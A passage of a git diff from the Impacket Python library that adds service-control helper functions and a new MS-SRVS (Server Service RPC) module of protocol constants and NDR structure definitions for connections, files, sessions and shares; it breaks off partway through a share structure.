+    startService = RStartServiceW()
+    startService['hService'] = hService
+    startService['argc'] = argc
+    if argc == 0:
+        startService['argv'] = NULL
+    else:
+        for item in argv:
+            itemn = LPWSTR()
+            itemn['Data'] = checkNullString(item)
+            startService['argv'].append(itemn)
+    return dce.request(startService)
+
+def hRGetServiceDisplayNameW(dce, hSCManager, lpServiceName, lpcchBuffer ):
+    getServiceDisplay = RGetServiceDisplayNameW()
+    getServiceDisplay['hSCManager'] = hSCManager
+    getServiceDisplay['lpServiceName'] = checkNullString(lpServiceName)
+    getServiceDisplay['lpcchBuffer'] = lpcchBuffer
+    return dce.request(getServiceDisplay)
+
+def hRGetServiceKeyNameW(dce, hSCManager, lpDisplayName, lpcchBuffer ):
+    getServiceKeyName = RGetServiceKeyNameW()
+    getServiceKeyName['hSCManager'] = hSCManager
+    getServiceKeyName['lpDisplayName'] = checkNullString(lpDisplayName)
+    getServiceKeyName['lpcchBuffer'] = lpcchBuffer
+    return dce.request(getServiceKeyName)
+
+def hREnumServiceGroupW(dce, hSCManager, dwServiceType, dwServiceState, cbBufSize, lpResumeIndex = NULL, pszGroupName = NULL ):
+    enumServiceGroup = REnumServiceGroupW()
+    enumServiceGroup['hSCManager'] = hSCManager
+    enumServiceGroup['dwServiceType'] = dwServiceType
+    enumServiceGroup['dwServiceState'] = dwServiceState
+    enumServiceGroup['cbBufSize'] = cbBufSize
+    enumServiceGroup['lpResumeIndex'] = lpResumeIndex
+    enumServiceGroup['pszGroupName'] = pszGroupName
+    return dce.request(enumServiceGroup)
diff --git a/impacket/dcerpc/v5/srvs.py b/impacket/dcerpc/v5/srvs.py
new file mode 100644
index 0000000..3e1d0b3
--- /dev/null
+++ b/impacket/dcerpc/v5/srvs.py
@@ -0,0 +1,3299 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   [MS-SRVS] Interface implementation
+#
+#   Best way to learn how to use these calls is to grab the protocol standard
+#   so you understand what the call does, and then read the test case located
+#   at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC
+#
+#   Some calls have helper functions, which makes it even easier to use.
+#   They are located at the end of this file.
+#   Helper functions start with "h"<name of the call>.
+#   There are test cases for them too.
+#
+# Author:
+#   Alberto Solino (@agsolino)
+#
+from __future__ import division
+from __future__ import print_function
+from impacket.dcerpc.v5.rpcrt import DCERPCException
+from impacket.dcerpc.v5.ndr import NDRCALL, NDR, NDRSTRUCT, NDRUNION, NDRPOINTER, NDRUniConformantArray, \
+    NDRUniFixedArray, NDRBOOLEAN, NDRUniConformantVaryingArray, PNDRUniConformantArray
+from impacket.dcerpc.v5.dtypes import NULL, DWORD, LPWSTR, LPBYTE, LMSTR, ULONG, GUID, LPLONG, WSTR, \
+    SECURITY_INFORMATION, WCHAR
+from impacket import system_errors
+from impacket.uuid import uuidtup_to_bin
+
+MSRPC_UUID_SRVS  = uuidtup_to_bin(('4B324FC8-1670-01D3-1278-5A47BF6EE188', '3.0'))
+
+class DCERPCSessionError(DCERPCException):
+    def __init__(self, error_string=None, error_code=None, packet=None):
+        DCERPCException.__init__(self, error_string, error_code, packet)
+
+    def __str__( self ):
+        key = self.error_code
+        if key in system_errors.ERROR_MESSAGES:
+            error_msg_short = system_errors.ERROR_MESSAGES[key][0]
+            error_msg_verbose = system_errors.ERROR_MESSAGES[key][1] 
+            return 'SRVS SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
+        else:
+            return 'SRVS SessionError: unknown error code: 0x%x' % self.error_code
+
+################################################################################
+# CONSTANTS
+################################################################################
+# 2.2.1.1 SRVSVC_HANDLE
+SRVSVC_HANDLE = WCHAR
+
+class PSRVSVC_HANDLE(NDRPOINTER):
+    referent = (
+        ('Data', SRVSVC_HANDLE),
+    )
+
+# 2.2.1.2 SHARE_DEL_HANDLE
+class SHARE_DEL_HANDLE(NDRSTRUCT):
+    align = 1
+    structure =  (
+        ('Data','20s=""'),
+    )
+
+# 2.2.1.3 PSHARE_DEL_HANDLE
+class PSHARE_DEL_HANDLE(NDRPOINTER):
+    referent = (
+        ('Data', SHARE_DEL_HANDLE),
+    )
+
+# 2.2.2.2 MAX_PREFERRED_LENGTH
+MAX_PREFERRED_LENGTH = -1
+
+# 2.2.2.3 Session User Flags
+SESS_GUEST        = 0x00000001
+SESS_NOENCRYPTION = 0x00000002
+
+# 2.2.2.4 Share Types
+STYPE_DISKTREE     = 0x00000000
+STYPE_PRINTQ       = 0x00000001
+STYPE_DEVICE       = 0x00000002
+STYPE_IPC          = 0x00000003
+STYPE_CLUSTER_FS   = 0x02000000
+STYPE_CLUSTER_SOFS = 0x04000000
+STYPE_CLUSTER_DFS  = 0x08000000
+
+STYPE_SPECIAL      = 0x80000000
+STYPE_TEMPORARY    = 0x40000000
+
+# AND with shi_type to extract the Share Type part
+STYPE_MASK         = 0x000000FF
+
+# 2.2.2.5 Client-Side Caching (CSC) States
+CSC_CACHE_MANUAL_REINT = 0x00
+CSC_CACHE_AUTO_REINT   = 0x10
+CSC_CACHE_VDO          = 0x20
+CSC_CACHE_NONE         = 0x30
+
+# 2.2.2.6 Platform IDs
+PLATFORM_ID_DOS = 300
+PLATFORM_ID_OS2 = 400
+PLATFORM_ID_NT  = 500
+PLATFORM_ID_OSF = 600
+PLATFORM_ID_VMS = 700
+
+# 2.2.2.7 Software Type Flags
+SV_TYPE_WORKSTATION       = 0x00000001
+SV_TYPE_SERVER            = 0x00000002
+SV_TYPE_SQLSERVER         = 0x00000004
+SV_TYPE_DOMAIN_CTRL       = 0x00000008
+SV_TYPE_DOMAIN_BAKCTRL    = 0x00000010
+SV_TYPE_TIME_SOURCE       = 0x00000020
+SV_TYPE_AFP               = 0x00000040
+SV_TYPE_NOVELL            = 0x00000080
+SV_TYPE_DOMAIN_MEMBER     = 0x00000100
+SV_TYPE_LOCAL_LIST_ONLY   = 0x40000000
+SV_TYPE_PRINTQ_SERVER     = 0x00000200
+SV_TYPE_DIALIN_SERVER     = 0x00000400
+SV_TYPE_XENIX_SERVER      = 0x00000800
+SV_TYPE_SERVER_MFPN       = 0x00004000
+SV_TYPE_NT                = 0x00001000
+SV_TYPE_WFW               = 0x00002000
+SV_TYPE_SERVER_NT         = 0x00008000
+SV_TYPE_POTENTIAL_BROWSER = 0x00010000
+SV_TYPE_BACKUP_BROWSER    = 0x00020000
+SV_TYPE_MASTER_BROWSER    = 0x00040000
+SV_TYPE_DOMAIN_MASTER     = 0x00080000
+SV_TYPE_DOMAIN_ENUM       = 0x80000000
+SV_TYPE_WINDOWS           = 0x00400000
+SV_TYPE_ALL               = 0xFFFFFFFF
+SV_TYPE_TERMINALSERVER    = 0x02000000
+SV_TYPE_CLUSTER_NT        = 0x10000000
+SV_TYPE_CLUSTER_VS_NT     = 0x04000000
+
+# 2.2.2.8 Name Types
+NAMETYPE_USER          = 1
+NAMETYPE_PASSWORD      = 2
+NAMETYPE_GROUP         = 3
+NAMETYPE_COMPUTER      = 4
+NAMETYPE_EVENT         = 5
+NAMETYPE_DOMAIN        = 6
+NAMETYPE_SERVICE       = 7
+NAMETYPE_NET           = 8
+NAMETYPE_SHARE         = 9
+NAMETYPE_MESSAGE       = 10
+NAMETYPE_MESSAGEDEST   = 11
+NAMETYPE_SHAREPASSWORD = 12
+NAMETYPE_WORKGROUP     = 13
+
+# 2.2.2.9 Path Types
+ITYPE_UNC_COMPNAME     = 4144
+ITYPE_UNC_WC           = 4145
+ITYPE_UNC              = 4096
+ITYPE_UNC_WC_PATH      = 4097
+ITYPE_UNC_SYS_SEM      = 6400
+ITYPE_UNC_SYS_SHMEM    = 6656
+ITYPE_UNC_SYS_MSLOT    = 6144
+ITYPE_UNC_SYS_PIPE     = 6912
+ITYPE_UNC_SYS_QUEUE    = 7680
+ITYPE_PATH_ABSND       = 8194
+ITYPE_PATH_ABSD        = 8198
+ITYPE_PATH_RELND       = 8192
+ITYPE_PATH_RELD        = 8196
+ITYPE_PATH_ABSND_WC    = 8195
+ITYPE_PATH_ABSD_WC     = 8199
+ITYPE_PATH_RELND_WC    = 8193
+ITYPE_PATH_RELD_WC     = 8197
+ITYPE_PATH_SYS_SEM     = 10498
+ITYPE_PATH_SYS_SHMEM   = 10754
+ITYPE_PATH_SYS_MSLOT   = 10242
+ITYPE_PATH_SYS_PIPE    = 11010
+ITYPE_PATH_SYS_COMM    = 11266
+ITYPE_PATH_SYS_PRINT   = 11522
+ITYPE_PATH_SYS_QUEUE   = 11778
+ITYPE_PATH_SYS_SEM_M   = 43266
+ITYPE_PATH_SYS_SHMEM_M = 43522
+ITYPE_PATH_SYS_MSLOT_M = 43010
+ITYPE_PATH_SYS_PIPE_M  = 43778
+ITYPE_PATH_SYS_COMM_M  = 44034
+ITYPE_PATH_SYS_PRINT_M = 44290
+ITYPE_PATH_SYS_QUEUE_M = 44546
+ITYPE_DEVICE_DISK      = 16384
+ITYPE_DEVICE_LPT       = 16400
+ITYPE_DEVICE_COM       = 16416
+ITYPE_DEVICE_CON       = 16448
+ITYPE_DEVICE_NUL       = 16464
+
+# 2.2.2.11 SHARE_INFO Parameter Error Codes
+
+SHARE_NETNAME_PARMNUM      = 1
+SHARE_TYPE_PARMNUM         = 3
+SHARE_REMARK_PARMNUM       = 4
+SHARE_PERMISSIONS_PARMNUM  = 5
+SHARE_MAX_USES_PARMNUM     = 6
+SHARE_CURRENT_USES_PARMNUM = 7
+SHARE_PATH_PARMNUM         = 8
+SHARE_PASSWD_PARMNUM       = 9
+SHARE_FILE_SD_PARMNUM      = 501
+
+# 2.2.2.12 SERVER_INFO Parameter Error Codes
+SV_PLATFORM_ID_PARMNUM             = 101
+SV_NAME_PARMNUM                    = 102
+SV_VERSION_MAJOR_PARMNUM           = 103
+SV_VERSION_MINOR_PARMNUM           = 104
+SV_TYPE_PARMNUM                    = 105
+SV_COMMENT_PARMNUM                 = 5
+SV_USERS_PARMNUM                   = 107
+SV_DISC_PARMNUM                    = 10
+SV_HIDDEN_PARMNUM                  = 16
+SV_ANNOUNCE_PARMNUM                = 17
+SV_ANNDELTA_PARMNUM                = 18
+SV_USERPATH_PARMNUM                = 112
+SV_SESSOPENS_PARMNUM               = 501
+SV_SESSVCS_PARMNUM                 = 502
+SV_OPENSEARCH_PARMNUM              = 503
+SV_SIZREQBUF_PARMNUM               = 504
+SV_INITWORKITEMS_PARMNUM           = 505
+SV_MAXWORKITEMS_PARMNUM            = 506
+SV_RAWWORKITEMS_PARMNUM            = 507
+SV_IRPSTACKSIZE_PARMNUM            = 508
+SV_MAXRAWBUFLEN_PARMNUM            = 509
+SV_SESSUSERS_PARMNUM               = 510
+SV_SESSCONNS_PARMNUM               = 511
+SV_MAXNONPAGEDMEMORYUSAGE_PARMNUM  = 512
+SV_MAXPAGEDMEMORYUSAGE_PARMNUM     = 513
+SV_ENABLESOFTCOMPAT_PARMNUM        = 514
+SV_ENABLEFORCEDLOGOFF_PARMNUM      = 515
+SV_TIMESOURCE_PARMNUM              = 516
+SV_ACCEPTDOWNLEVELAPIS_PARMNUM     = 517
+SV_LMANNOUNCE_PARMNUM              = 518
+SV_DOMAIN_PARMNUM                  = 519
+SV_MAXCOPYREADLEN_PARMNUM          = 520
+SV_MAXCOPYWRITELEN_PARMNUM         = 521
+SV_MINKEEPSEARCH_PARMNUM           = 522
+SV_MAXKEEPSEARCH_PARMNUM           = 523
+SV_MINKEEPCOMPLSEARCH_PARMNUM      = 524
+SV_MAXKEEPCOMPLSEARCH_PARMNUM      = 525
+SV_THREADCOUNTADD_PARMNUM          = 526
+SV_NUMBLOCKTHREADS_PARMNUM         = 527
+SV_SCAVTIMEOUT_PARMNUM             = 528
+SV_MINRCVQUEUE_PARMNUM             = 529
+SV_MINFREEWORKITEMS_PARMNUM        = 530
+SV_XACTMEMSIZE_PARMNUM             = 531
+SV_THREADPRIORITY_PARMNUM          = 532
+SV_MAXMPXCT_PARMNUM                = 533
+SV_OPLOCKBREAKWAIT_PARMNUM         = 534
+SV_OPLOCKBREAKRESPONSEWAIT_PARMNUM = 535
+SV_ENABLEOPLOCKS_PARMNUM           = 536
+SV_ENABLEOPLOCKFORCECLOSE_PARMNUM  = 537
+SV_ENABLEFCBOPENS_PARMNUM          = 538
+SV_ENABLERAW_PARMNUM               = 539
+SV_ENABLESHAREDNETDRIVES_PARMNUM   = 540
+SV_MINFREECONNECTIONS_PARMNUM      = 541
+SV_MAXFREECONNECTIONS_PARMNUM      = 542
+SV_INITSESSTABLE_PARMNUM           = 543
+SV_INITCONNTABLE_PARMNUM           = 544
+SV_INITFILETABLE_PARMNUM           = 545
+SV_INITSEARCHTABLE_PARMNUM         = 546
+SV_ALERTSCHEDULE_PARMNUM           = 547
+SV_ERRORTHRESHOLD_PARMNUM          = 548
+SV_NETWORKERRORTHRESHOLD_PARMNUM   = 549
+SV_DISKSPACETHRESHOLD_PARMNUM      = 550
+SV_MAXLINKDELAY_PARMNUM            = 552
+SV_MINLINKTHROUGHPUT_PARMNUM       = 553
+SV_LINKINFOVALIDTIME_PARMNUM       = 554
+SV_SCAVQOSINFOUPDATETIME_PARMNUM   = 555
+SV_MAXWORKITEMIDLETIME_PARMNUM     = 556
+
+# 2.2.2.13 DFS Entry Flags
+PKT_ENTRY_TYPE_CAIRO          = 0x0001
+PKT_ENTRY_TYPE_MACHINE        = 0x0002
+PKT_ENTRY_TYPE_NONCAIRO       = 0x0004
+PKT_ENTRY_TYPE_LEAFONLY       = 0x0008
+PKT_ENTRY_TYPE_OUTSIDE_MY_DOM = 0x0010
+PKT_ENTRY_TYPE_INSITE_ONLY    = 0x0020
+PKT_ENTRY_TYPE_REFERRAL_SVC   = 0x0080
+PKT_ENTRY_TYPE_PERMANENT      = 0x0100
+PKT_ENTRY_TYPE_LOCAL          = 0x0400
+PKT_ENTRY_TYPE_LOCAL_XPOINT   = 0x0800
+PKT_ENTRY_TYPE_MACH_SHARE     = 0x1000
+PKT_ENTRY_TYPE_OFFLINE        = 0x2000
+
+# 2.2.4.7 FILE_INFO_3 
+# fi3_permissions
+PERM_FILE_READ   = 0x00000001
+PERM_FILE_WRITE  = 0x00000002
+PERM_FILE_CREATE = 0x00000004
+ACCESS_EXEC      = 0x00000008
+ACCESS_DELETE    = 0x00000010
+ACCESS_ATRIB     = 0x00000020
+ACCESS_PERM      = 0x00000040
+
+# 2.2.4.29 SHARE_INFO_1005
+# shi1005_flags
+SHI1005_FLAGS_DFS                         = 0x00000001
+SHI1005_FLAGS_DFS_ROOT                    = 0x00000002
+CSC_MASK                                  = 0x00000030
+SHI1005_FLAGS_RESTRICT_EXCLUSIVE_OPENS    = 0x00000100
+SHI1005_FLAGS_FORCE_SHARED_DELETE         = 0x00000200
+SHI1005_FLAGS_ALLOW_NAMESPACE_CACHING     = 0x00000400
+SHI1005_FLAGS_ACCESS_BASED_DIRECTORY_ENUM = 0x00000800
+SHI1005_FLAGS_FORCE_LEVELII_OPLOCK        = 0x00001000
+SHI1005_FLAGS_ENABLE_HASH                 = 0x00002000
+SHI1005_FLAGS_ENABLE_CA                   = 0x00004000
+SHI1005_FLAGS_ENCRYPT_DATA                = 0x00008000
+
+# 2.2.4.43 SERVER_INFO_103
+# sv103_capabilities
+SRV_SUPPORT_HASH_GENERATION = 0x0001
+SRV_HASH_GENERATION_ACTIVE  = 0x0002
+
+# 2.2.4.96 SERVER_TRANSPORT_INFO_3
+# svti3_flags
+SVTI2_REMAP_PIPE_NAMES = 0x00000002
+SVTI2_SCOPED_NAME      = 0x00000004
+
+# 2.2.4.109 DFS_SITENAME_INFO
+# SiteFlags
+DFS_SITE_PRIMARY = 0x00000001
+
+# 3.1.4.42 NetrDfsFixLocalVolume (Opnum 51)
+# ServiceType
+DFS_SERVICE_TYPE_MASTER     = 0x00000001
+DFS_SERVICE_TYPE_READONLY   = 0x00000002
+DFS_SERVICE_TYPE_LOCAL      = 0x00000004
+DFS_SERVICE_TYPE_REFERRAL   = 0x00000008
+DFS_SERVICE_TYPE_ACTIVE     = 0x000000010
+DFS_SERVICE_TYPE_DOWN_LEVEL = 0x000000020
+DFS_SERVICE_TYPE_COSTLIER   = 0x000000040
+DFS_SERVICE_TYPE_OFFLINE    = 0x000000080
+
+# CreateDisposition
+FILE_SUPERSEDE = 0x00000000
+FILE_OPEN      = 0x00000001
+FILE_CREATE    = 0x00000002
+
+################################################################################
+# STRUCTURES
+################################################################################
+# 2.2.4.1 CONNECTION_INFO_0
+class CONNECTION_INFO_0(NDRSTRUCT):
+    structure = (
+        ('coni0_id', DWORD),
+    )
+
+class CONNECTION_INFO_0_ARRAY(NDRUniConformantArray):
+    item = CONNECTION_INFO_0
+
+class LPCONNECTION_INFO_0_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', CONNECTION_INFO_0_ARRAY),
+    )
+
+# 2.2.4.2 CONNECTION_INFO_1
+class CONNECTION_INFO_1(NDRSTRUCT):
+    structure = (
+        ('coni1_id', DWORD),
+        ('coni1_type', DWORD),
+        ('coni1_num_opens', DWORD),
+        ('coni1_num_users', DWORD),
+        ('coni1_time', DWORD),
+        ('coni1_username', LPWSTR),
+        ('coni1_netname', LPWSTR),
+    )
+
+class CONNECTION_INFO_1_ARRAY(NDRUniConformantArray):
+    item = CONNECTION_INFO_1
+
+class LPCONNECTION_INFO_1_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', CONNECTION_INFO_1_ARRAY),
+    )
+
+# 2.2.4.3 CONNECT_INFO_0_CONTAINER
+class CONNECT_INFO_0_CONTAINER(NDRSTRUCT):
+    structure = (
+        ('EntriesRead', DWORD),
+        ('Buffer', LPCONNECTION_INFO_0_ARRAY),
+    )
+
+class LPCONNECT_INFO_0_CONTAINER(NDRPOINTER):
+    referent = (
+        ('Data', CONNECT_INFO_0_CONTAINER),
+    )
+
+# 2.2.4.4 CONNECT_INFO_1_CONTAINER
+class CONNECT_INFO_1_CONTAINER(NDRSTRUCT):
+    structure = (
+        ('EntriesRead', DWORD),
+        ('Buffer', LPCONNECTION_INFO_1_ARRAY),
+    )
+
+class LPCONNECT_INFO_1_CONTAINER(NDRPOINTER):
+    referent = (
+        ('Data', CONNECT_INFO_1_CONTAINER),
+    )
+
+# 2.2.3.1 CONNECT_ENUM_UNION
+class CONNECT_ENUM_UNION(NDRUNION):
+    commonHdr = (
+        ('tag', DWORD),
+    )
+
+    union = {
+        0: ('Level0', LPCONNECT_INFO_0_CONTAINER),
+        1: ('Level1', LPCONNECT_INFO_1_CONTAINER),
+    }
+
+# 2.2.4.5 CONNECT_ENUM_STRUCT
+class CONNECT_ENUM_STRUCT(NDRSTRUCT):
+    structure = (
+        ('Level', DWORD),
+        ('ConnectInfo', CONNECT_ENUM_UNION),
+    )
+
+# 2.2.4.6 FILE_INFO_2
+class FILE_INFO_2(NDRSTRUCT):
+    structure = (
+        ('fi2_id', DWORD),
+    )
+
+class LPFILE_INFO_2(NDRPOINTER):
+    referent = (
+        ('Data', FILE_INFO_2),
+    )
+
+class FILE_INFO_2_ARRAY(NDRUniConformantArray):
+    item = FILE_INFO_2
+
+class LPFILE_INFO_2_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', FILE_INFO_2_ARRAY),
+    )
+
+# 2.2.4.7 FILE_INFO_3
+class FILE_INFO_3(NDRSTRUCT):
+    structure = (
+        ('fi3_id', DWORD),
+        ('fi3_permissions', DWORD),
+        ('fi3_num_locks', DWORD),
+        ('fi3_path_name', LPWSTR),
+        ('fi3_username', LPWSTR),
+    )
+
+class LPFILE_INFO_3(NDRPOINTER):
+    referent = (
+        ('Data', FILE_INFO_3),
+    )
+
+class FILE_INFO_3_ARRAY(NDRUniConformantArray):
+    item = FILE_INFO_3
+
+class LPFILE_INFO_3_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', FILE_INFO_3_ARRAY),
+    )
+
+# 2.2.4.8 FILE_INFO_2_CONTAINER
+class FILE_INFO_2_CONTAINER(NDRSTRUCT):
+    structure = (
+        ('EntriesRead', DWORD),
+        ('Buffer', LPFILE_INFO_2_ARRAY),
+    )
+
+class LPFILE_INFO_2_CONTAINER(NDRPOINTER):
+    referent = (
+        ('Data', FILE_INFO_2_CONTAINER),
+    )
+
+# 2.2.4.9 FILE_INFO_3_CONTAINER
+class FILE_INFO_3_CONTAINER(NDRSTRUCT):
+    structure = (
+        ('EntriesRead', DWORD),
+        ('Buffer', LPFILE_INFO_3_ARRAY),
+    )
+
+class LPFILE_INFO_3_CONTAINER(NDRPOINTER):
+    referent = (
+        ('Data', FILE_INFO_3_CONTAINER),
+    )
+
+# 2.2.3.2 FILE_ENUM_UNION
+class FILE_ENUM_UNION(NDRUNION):
+    commonHdr = (
+        ('tag', DWORD),
+    )
+
+    union = {
+        2: ('Level2', LPFILE_INFO_2_CONTAINER),
+        3: ('Level3', LPFILE_INFO_3_CONTAINER),
+    }
+
+# 2.2.4.10 FILE_ENUM_STRUCT
+class FILE_ENUM_STRUCT(NDRSTRUCT):
+    structure = (
+        ('Level', DWORD),
+        ('FileInfo', FILE_ENUM_UNION),
+    )
+
+# 2.2.4.11 SESSION_INFO_0
+class SESSION_INFO_0(NDRSTRUCT):
+    structure = (
+        ('sesi0_cname', LPWSTR),
+    )
+
+class LPSESSION_INFO_0(NDRPOINTER):
+    referent = (
+        ('Data', SESSION_INFO_0),
+    )
+
+class SESSION_INFO_0_ARRAY(NDRUniConformantArray):
+    item = SESSION_INFO_0
+
+class LPSESSION_INFO_0_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', SESSION_INFO_0_ARRAY),
+    )
+
+# 2.2.4.12 SESSION_INFO_1
+class SESSION_INFO_1(NDRSTRUCT):
+    structure = (
+        ('sesi1_cname', LPWSTR),
+        ('sesi1_username', LPWSTR),
+        ('sesi1_num_opens', DWORD),
+        ('sesi1_time', DWORD),
+        ('sesi1_idle_time', DWORD),
+        ('sesi1_user_flags', DWORD),
+    )
+
+class LPSESSION_INFO_1(NDRPOINTER):
+    referent = (
+        ('Data', SESSION_INFO_1),
+    )
+
+class SESSION_INFO_1_ARRAY(NDRUniConformantArray):
+    item = SESSION_INFO_1
+
+class LPSESSION_INFO_1_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', SESSION_INFO_1_ARRAY),
+    )
+
+# 2.2.4.13 SESSION_INFO_2
+class SESSION_INFO_2(NDRSTRUCT):
+    structure = (
+        ('sesi2_cname', LPWSTR),
+        ('sesi2_username', LPWSTR),
+        ('sesi2_num_opens', DWORD),
+        ('sesi2_time', DWORD),
+        ('sesi2_idle_time', DWORD),
+        ('sesi2_user_flags', DWORD),
+        ('sesi2_cltype_name', LPWSTR),
+    )
+
+class LPSESSION_INFO_2(NDRPOINTER):
+    referent = (
+        ('Data', SESSION_INFO_2),
+    )
+
+class SESSION_INFO_2_ARRAY(NDRUniConformantArray):
+    item = SESSION_INFO_2
+
+class LPSESSION_INFO_2_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', SESSION_INFO_2_ARRAY),
+    )
+
+# 2.2.4.14 SESSION_INFO_10
+class SESSION_INFO_10(NDRSTRUCT):
+    structure = (
+        ('sesi10_cname', LPWSTR),
+        ('sesi10_username', LPWSTR),
+        ('sesi10_time', DWORD),
+        ('sesi10_idle_time', DWORD),
+    )
+
+class LPSESSION_INFO_10(NDRPOINTER):
+    referent = (
+        ('Data', SESSION_INFO_10),
+    )
+
+class SESSION_INFO_10_ARRAY(NDRUniConformantArray):
+    item = SESSION_INFO_10
+
+class LPSESSION_INFO_10_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', SESSION_INFO_10_ARRAY),
+    )
+
+# 2.2.4.15 SESSION_INFO_502
+class SESSION_INFO_502(NDRSTRUCT):
+    structure = (
+        ('sesi502_cname', LPWSTR),
+        ('sesi502_username', LPWSTR),
+        ('sesi502_num_opens', DWORD),
+        ('sesi502_time', DWORD),
+        ('sesi502_idle_time', DWORD),
+        ('sesi502_user_flags', DWORD),
+        ('sesi502_cltype_name', LPWSTR),
+        ('sesi502_transport', LPWSTR),
+    )
+
+class LPSESSION_INFO_502(NDRPOINTER):
+    referent = (
+        ('Data', SESSION_INFO_502),
+    )
+
+class SESSION_INFO_502_ARRAY(NDRUniConformantArray):
+    item = SESSION_INFO_502
+
+class LPSESSION_INFO_502_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', SESSION_INFO_502_ARRAY),
+    )
+
+# 2.2.4.16 SESSION_INFO_0_CONTAINER
+class SESSION_INFO_0_CONTAINER(NDRSTRUCT):
+    structure = (
+        ('EntriesRead', DWORD),
+        ('Buffer', LPSESSION_INFO_0_ARRAY),
+    )
+
+class LPSESSION_INFO_0_CONTAINER(NDRPOINTER):
+    referent = (
+        ('Data', SESSION_INFO_0_CONTAINER),
+    )
+
+# 2.2.4.17 SESSION_INFO_1_CONTAINER
+class SESSION_INFO_1_CONTAINER(NDRSTRUCT):
+    structure = (
+        ('EntriesRead', DWORD),
+        ('Buffer', LPSESSION_INFO_1_ARRAY),
+    )
+
+class LPSESSION_INFO_1_CONTAINER(NDRPOINTER):
+    referent = (
+        ('Data', SESSION_INFO_1_CONTAINER),
+    )
+
+# 2.2.4.18 SESSION_INFO_2_CONTAINER
+class SESSION_INFO_2_CONTAINER(NDRSTRUCT):
+    structure = (
+        ('EntriesRead', DWORD),
+        ('Buffer', LPSESSION_INFO_2_ARRAY),
+    )
+
+class LPSESSION_INFO_2_CONTAINER(NDRPOINTER):
+    referent = (
+        ('Data', SESSION_INFO_2_CONTAINER),
+    )
+
+# 2.2.4.19 SESSION_INFO_10_CONTAINER
+class SESSION_INFO_10_CONTAINER(NDRSTRUCT):
+    structure = (
+        ('EntriesRead', DWORD),
+        ('Buffer', LPSESSION_INFO_10_ARRAY),
+    )
+
+class LPSESSION_INFO_10_CONTAINER(NDRPOINTER):
+    referent = (
+        ('Data', SESSION_INFO_10_CONTAINER),
+    )
+
+# 2.2.4.20 SESSION_INFO_502_CONTAINER
+class SESSION_INFO_502_CONTAINER(NDRSTRUCT):
+    structure = (
+        ('EntriesRead', DWORD),
+        ('Buffer', LPSESSION_INFO_502_ARRAY),
+    )
+
+class LPSESSION_INFO_502_CONTAINER(NDRPOINTER):
+    referent = (
+        ('Data', SESSION_INFO_502_CONTAINER),
+    )
+
+# 2.2.3.4 SESSION_ENUM_UNION
+class SESSION_ENUM_UNION(NDRUNION):
+    commonHdr = (
+        ('tag', DWORD),
+    )
+
+    union = {
+        0: ('Level0', LPSESSION_INFO_0_CONTAINER),
+        1: ('Level1', LPSESSION_INFO_1_CONTAINER),
+        2: ('Level2', LPSESSION_INFO_2_CONTAINER),
+        10: ('Level10', LPSESSION_INFO_10_CONTAINER),
+        502: ('Level502', LPSESSION_INFO_502_CONTAINER),
+    }
+
+# 2.2.4.21 SESSION_ENUM_STRUCT
+class SESSION_ENUM_STRUCT(NDRSTRUCT):
+    structure = (
+        ('Level', DWORD),
+        ('SessionInfo', SESSION_ENUM_UNION),
+    )
+
+# 2.2.4.22 SHARE_INFO_0
+class SHARE_INFO_0(NDRSTRUCT):
+    structure = (
+        ('shi0_netname', LPWSTR),
+    )
+
+class LPSHARE_INFO_0(NDRPOINTER):
+    referent = (
+        ('Data', SHARE_INFO_0),
+    )
+
+class SHARE_INFO_0_ARRAY(NDRUniConformantArray):
+    item = SHARE_INFO_0
+
+class LPSHARE_INFO_0_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', SHARE_INFO_0_ARRAY),
+    )
+
+# 2.2.4.23 SHARE_INFO_1
+class SHARE_INFO_1(NDRSTRUCT):
+    structure = (
+        ('shi1_netname', LPWSTR),
+        ('shi1_type', DWORD),
+        ('shi1_remark', LPWSTR),
+    )
+
+class LPSHARE_INFO_1(NDRPOINTER):
+    referent = (
+        ('Data', SHARE_INFO_1),
+    )
+
+class SHARE_INFO_1_ARRAY(NDRUniConformantArray):
+    item = SHARE_INFO_1
+
+class LPSHARE_INFO_1_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', SHARE_INFO_1_ARRAY),
+    )
+
+# 2.2.4.24 SHARE_INFO_2
+class SHARE_INFO_2(NDRSTRUCT):
+    structure = (
+        ('shi2_netname', LPWSTR),
+        ('shi2_type', DWORD),
+        ('shi2_remark', LPWSTR),
+        ('shi2_permissions', DWORD),
+        ('shi2_max_uses', DWORD),
+        ('shi2_current_uses', DWORD),
+        ('shi2_path', LPWSTR),
+        ('shi2_passwd', LPWSTR),
+    )
+
+class LPSHARE_INFO_2(NDRPOINTER):
+    referent = (
+        ('Data', SHARE_INFO_2),
+    )
+
+class SHARE_INFO_2_ARRAY(NDRUniConformantArray):
+    item = SHARE_INFO_2
+
+class LPSHARE_INFO_2_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', SHARE_INFO_2_ARRAY),
+    )
+
+# 2.2.4.25 SHARE_INFO_501
+class SHARE_INFO_501(NDRSTRUCT):
+    structure = (
+        ('shi501_netname', LPWSTR),
+        ('shi501_type', DWORD),
+        ('shi501_remark', LPWSTR),
+        ('shi501_flags', DWORD),
+    )
+
+class LPSHARE_INFO_501(NDRPOINTER):
+    referent = (
+        ('Data', SHARE_INFO_501),
+    )
+
+class SHARE_INFO_501_ARRAY(NDRUniConformantArray):
+    item = SHARE_INFO_501
+
+class LPSHARE_INFO_501_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', SHARE_INFO_501_ARRAY),
+    )
+
+# 2.2.4.26 SHARE_INFO_502_I
+class SHARE_INFO_502(NDRSTRUCT):
+    structure = (
+        ('shi502_netname', LPWSTR),
